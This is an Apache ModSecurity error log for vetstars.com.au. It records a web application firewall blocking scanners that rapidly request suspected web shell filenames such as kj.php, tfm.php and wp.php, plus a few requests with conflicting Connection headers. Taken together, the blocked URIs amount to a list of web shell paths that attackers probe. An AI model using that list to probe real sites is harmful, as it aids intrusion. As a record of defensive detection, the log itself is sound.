[Fri Apr 10 04:10:38.158884 2026] [:error] [pid 12576:tid 12661] [client 20.100.175.19:59883] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "adgHvgZp1JUS4li1QnugGQAAAIw"]
[Fri Apr 10 04:10:39.918542 2026] [:error] [pid 12576:tid 12664] [client 20.100.175.19:59861] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "adgHvwZp1JUS4li1QnugHwAAAI8"]
[Fri Apr 10 04:10:42.827659 2026] [:error] [pid 12685:tid 12708] [client 20.100.175.19:59863] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "adgHws8f5ssYShsynapKhgAAANU"]
[Fri Apr 10 04:10:45.718137 2026] [:error] [pid 12576:tid 12652] [client 20.100.175.19:58870] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/kj.php"] [unique_id "adgHxQZp1JUS4li1QnugIwAAAIM"]
[Fri Apr 10 04:10:47.692354 2026] [:error] [pid 12685:tid 12711] [client 20.100.175.19:8398] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adgHx88f5ssYShsynapKjgAAANg"]
[Fri Apr 10 04:10:50.966662 2026] [:error] [pid 12575:tid 12643] [client 20.100.175.19:58878] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adgHyijFTOT5X6zsPCk_GgAAAFU"]
[Fri Apr 10 04:10:52.902672 2026] [:error] [pid 12574:tid 12606] [client 20.100.175.19:59505] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adgHzHw-1tvJISKJyrTLvwAAAAw"]
[Fri Apr 10 04:10:54.500382 2026] [:error] [pid 12685:tid 12710] [client 20.100.175.19:59880] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adgHzs8f5ssYShsynapKlgAAANc"]
[Fri Apr 10 04:10:55.768564 2026] [:error] [pid 12574:tid 12598] [client 20.100.175.19:59554] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adgHz3w-1tvJISKJyrTLwgAAAAQ"]
[Fri Apr 10 04:10:57.691511 2026] [:error] [pid 12576:tid 12649] [client 20.100.175.19:8433] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adgH0QZp1JUS4li1QnugNgAAAIA"]
[Fri Apr 10 04:10:59.031112 2026] [:error] [pid 12575:tid 12625] [client 20.100.175.19:59868] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "adgH0yjFTOT5X6zsPCk_HwAAAEM"]
[Fri Apr 10 04:13:37.181724 2026] [:error] [pid 12574:tid 12598] [client 20.100.175.19:58421] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "adgIcXw-1tvJISKJyrTMIQAAAAQ"]
[Fri Apr 10 04:13:39.188185 2026] [:error] [pid 12685:tid 12708] [client 20.100.175.19:59510] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "adgIc88f5ssYShsynapMJAAAANU"]
[Fri Apr 10 04:13:42.519628 2026] [:error] [pid 12685:tid 12695] [client 20.100.175.19:59567] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "adgIds8f5ssYShsynapMJwAAAMg"]
[Fri Apr 10 04:13:45.220455 2026] [:error] [pid 12576:tid 12667] [client 20.100.175.19:58874] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tfm.php"] [unique_id "adgIeQZp1JUS4li1Qnug-AAAAJI"]
[Fri Apr 10 04:13:50.146946 2026] [:error] [pid 12685:tid 12711] [client 20.100.175.19:59871] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "adgIfs8f5ssYShsynapMNQAAANg"]
[Fri Apr 10 04:13:54.479553 2026] [:error] [pid 12575:tid 12624] [client 20.100.175.19:59576] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "adgIgijFTOT5X6zsPCk_nAAAAEI"]
[Fri Apr 10 04:13:58.260342 2026] [:error] [pid 12576:tid 12669] [client 20.100.175.19:59468] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "adgIhgZp1JUS4li1QnuhCQAAAJQ"]
[Fri Apr 10 04:14:00.248083 2026] [:error] [pid 12576:tid 12662] [client 20.100.175.19:59888] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "adgIiAZp1JUS4li1QnuhDAAAAI0"]
[Fri Apr 10 04:14:02.907815 2026] [:error] [pid 12576:tid 12657] [client 20.100.175.19:59477] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adgIigZp1JUS4li1QnuhDwAAAIg"]
[Fri Apr 10 04:14:04.806052 2026] [:error] [pid 12575:tid 12625] [client 20.100.175.19:58866] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adgIjCjFTOT5X6zsPCk_oAAAAEM"]
[Fri Apr 10 04:14:07.670225 2026] [:error] [pid 12685:tid 12688] [client 20.100.175.19:59865] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adgIj88f5ssYShsynapMQgAAAME"]
[Fri Apr 10 04:14:09.337717 2026] [:error] [pid 12576:tid 12652] [client 20.100.175.19:59870] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adgIkQZp1JUS4li1QnuhEgAAAIM"]
[Fri Apr 10 04:14:11.029366 2026] [:error] [pid 12685:tid 12695] [client 20.100.175.19:59561] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0yellow.php"] [unique_id "adgIk88f5ssYShsynapMRQAAAMg"]
[Fri Apr 10 04:14:13.519734 2026] [:error] [pid 12576:tid 12664] [client 20.100.175.19:59859] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0yellow.php"] [unique_id "adgIlQZp1JUS4li1QnuhFwAAAI8"]
[Fri Apr 10 04:14:15.893979 2026] [:error] [pid 12685:tid 12701] [client 20.100.175.19:58826] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0yellow.php"] [unique_id "adgIl88f5ssYShsynapMSQAAAM4"]
[Fri Apr 10 04:14:19.360920 2026] [:error] [pid 12575:tid 12627] [client 20.100.175.19:59886] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0yellow.php"] [unique_id "adgImyjFTOT5X6zsPCk_qgAAAEU"]
[Fri Apr 10 04:14:22.225872 2026] [:error] [pid 12576:tid 12659] [client 20.100.175.19:59552] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/only.php"] [unique_id "adgIngZp1JUS4li1QnuhHAAAAIo"]
[Fri Apr 10 04:14:23.025226 2026] [:error] [pid 12576:tid 12656] [client 20.100.175.19:58394] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/only.php"] [unique_id "adgInwZp1JUS4li1QnuhHwAAAIc"]
[Fri Apr 10 04:14:24.974745 2026] [:error] [pid 12685:tid 12693] [client 20.100.175.19:58841] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/only.php"] [unique_id "adgIoM8f5ssYShsynapMTwAAAMY"]
[Fri Apr 10 04:14:26.878248 2026] [:error] [pid 12685:tid 12709] [client 20.100.175.19:59572] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/only.php"] [unique_id "adgIos8f5ssYShsynapMVAAAANY"]
[Fri Apr 10 04:14:31.110032 2026] [:error] [pid 12574:tid 12618] [client 20.100.175.19:58404] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aligk.php"] [unique_id "adgIp3w-1tvJISKJyrTMSwAAABg"]
[Fri Apr 10 04:14:43.195876 2026] [:error] [pid 12574:tid 12602] [client 20.100.175.19:59525] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adgIs3w-1tvJISKJyrTMVAAAAAg"]
[Fri Apr 10 04:14:44.065678 2026] [:error] [pid 12574:tid 12597] [client 20.100.175.19:58371] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adgItHw-1tvJISKJyrTMWQAAAAM"]
[Fri Apr 10 04:14:45.870122 2026] [:error] [pid 12575:tid 12641] [client 20.100.175.19:58416] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adgItSjFTOT5X6zsPCk_yQAAAFM"]
[Fri Apr 10 04:14:47.317707 2026] [:error] [pid 12685:tid 12688] [client 20.100.175.19:59881] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adgIt88f5ssYShsynapMcwAAAME"]
[Fri Apr 10 04:14:48.322395 2026] [:error] [pid 12576:tid 12652] [client 20.100.175.19:58372] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adgIuAZp1JUS4li1QnuhQQAAAIM"]
[Fri Apr 10 04:14:49.560402 2026] [:error] [pid 12576:tid 12655] [client 20.100.175.19:58827] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adgIuQZp1JUS4li1QnuhQwAAAIY"]
[Fri Apr 10 04:14:50.905925 2026] [:error] [pid 12574:tid 12609] [client 20.100.175.19:58847] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adgIunw-1tvJISKJyrTMXgAAAA8"]
[Fri Apr 10 04:14:52.666790 2026] [:error] [pid 12685:tid 12708] [client 20.100.175.19:58413] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adgIvM8f5ssYShsynapMfwAAANU"]
[Fri Apr 10 04:14:55.404326 2026] [:error] [pid 12685:tid 12694] [client 20.100.175.19:58418] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "adgIv88f5ssYShsynapMhgAAAMc"]
[Fri Apr 10 04:14:58.850966 2026] [:error] [pid 12685:tid 12697] [client 20.100.175.19:58402] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "adgIws8f5ssYShsynapMkwAAAMo"]
[Fri Apr 10 04:15:02.929832 2026] [:error] [pid 12685:tid 12711] [client 20.100.175.19:59534] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "adgIxs8f5ssYShsynapMmwAAANg"]
[Fri Apr 10 04:15:04.894802 2026] [:error] [pid 12575:tid 12622] [client 20.100.175.19:58840] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp.php"] [unique_id "adgIyCjFTOT5X6zsPCk_0wAAAEA"]
[Fri Apr 10 04:15:06.574971 2026] [:error] [pid 12685:tid 12700] [client 20.100.175.19:59569] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adgIys8f5ssYShsynapMoQAAAM0"]
[Fri Apr 10 04:15:08.198339 2026] [:error] [pid 12574:tid 12618] [client 20.100.175.19:59869] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adgIzHw-1tvJISKJyrTMbQAAABg"]
[Fri Apr 10 04:15:09.793914 2026] [:error] [pid 12575:tid 12633] [client 20.100.175.19:59575] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/irpl4xz4fmlzm4tlvvu4h1mCdefault.php"] [unique_id "adgIzSjFTOT5X6zsPCk_1wAAAEs"]
[Fri Apr 10 08:07:05.284485 2026] [:error] [pid 59218:tid 59242] [client 1.15.52.154:56450] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adg_KYjSO_Wp4VS3Qe8F0wAAAZY"]
[Fri Apr 10 12:52:57.677463 2026] [:error] [pid 13102:tid 13179] [client 43.166.244.192:43688] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adiCKf9xLvjW2guI55anjwAAABM"]
[Fri Apr 10 14:44:38.550060 2026] [:error] [pid 13102:tid 13177] [client 1.15.52.154:49998] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adicVv9xLvjW2guI55bgsgAAABE"]
[Fri Apr 10 16:49:28.631965 2026] [:error] [pid 3934:tid 3956] [client 185.126.114.51:45298] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adi5mIa41m-BS8mg82cmwAAAANE"]
[Fri Apr 10 16:49:31.431266 2026] [:error] [pid 13102:tid 13163] [client 185.126.114.51:45670] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adi5m_9xLvjW2guI55YhOAAAAAM"]
[Fri Apr 10 16:49:34.074273 2026] [:error] [pid 3934:tid 3954] [client 185.126.114.51:45690] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adi5noa41m-BS8mg82cm5gAAAM8"]
[Fri Apr 10 16:49:37.017433 2026] [:error] [pid 13189:tid 13193] [client 185.126.114.51:45712] [client 185.126.114.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adi5oZAxiJKPums3eBAoLwAAAEE"]
